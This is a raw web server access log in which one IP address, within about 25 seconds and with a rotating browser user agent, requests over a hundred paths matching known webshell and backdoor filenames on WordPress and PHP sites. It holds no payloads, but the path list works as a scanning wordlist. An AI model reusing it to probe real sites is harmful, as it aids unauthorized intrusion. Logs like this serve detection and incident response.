"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:10 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:10 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:11 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 193.37.32.170 - - [28/Feb/2026:03:13:11 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:11 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:11 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:12 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:12 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:12 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:12 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:12 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:13 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:13 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:13 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:13 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:14 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:14 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:14 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:14 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:14 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:13:15 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:15 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:15 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:15 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:16 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:16 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:16 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:16 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:17 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:17 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:17 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:17 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:17 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:18 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:18 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:18 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:18 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:18 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:19 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:19 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:19 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:19 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:20 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:20 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:20 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:20 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:20 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:21 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:21 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:21 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:21 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:22 +0300] "GET /ar/wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:22 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:22 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 193.37.32.170 - - [28/Feb/2026:03:13:22 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:22 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:23 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:23 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:23 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 193.37.32.170 - - [28/Feb/2026:03:13:23 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:23 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:24 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:24 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 193.37.32.170 - - [28/Feb/2026:03:13:24 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 193.37.32.170 - - [28/Feb/2026:03:13:24 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:25 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:25 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:25 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:25 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:26 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 193.37.32.170 - - [28/Feb/2026:03:13:26 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:26 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:26 +0300] "GET /admin/user_data.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:27 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:27 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:27 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:27 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:27 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:28 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:28 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:28 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 193.37.32.170 - - [28/Feb/2026:03:13:28 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:28 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:29 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:29 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:29 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:29 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - [28/Feb/2026:03:13:30 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:30 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 193.37.32.170 - - [28/Feb/2026:03:13:30 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:30 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 193.37.32.170 - - [28/Feb/2026:03:13:31 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:31 +0300] "GET /adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:31 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:31 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:31 +0300] "GET /wp-includes/blocks/file/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:32 +0300] "GET /images/habhan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:32 +0300] "GET /wp-content/mu-plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:32 +0300] "GET /wp-includes/IXR/class-IXR-cilent.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:32 +0300] "GET /wp-content/uploads/wp-cert.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:32 +0300] "GET /about/function.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 193.37.32.170 - - [28/Feb/2026:03:13:33 +0300] "GET /routes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:33 +0300] "GET /wp-includes/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:33 +0300] "GET /wp-includes/PHPMailer/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 193.37.32.170 - - [28/Feb/2026:03:13:33 +0300] "GET /wp-admin/js/widgets/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:34 +0300] "GET /f35_SpaceTn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:34 +0300] "GET /wp-admin/css/colors/sunrise/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 193.37.32.170 - - [28/Feb/2026:03:13:34 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/fixed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:34 +0300] "GET /wp-admin/js/widgets/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 193.37.32.170 - - [28/Feb/2026:03:13:35 +0300] "GET /wp-content/plugins/fix/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 193.37.32.170 - - [28/Feb/2026:03:13:35 +0300] "GET /wp-includes/category-double.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 193.37.32.170 - - 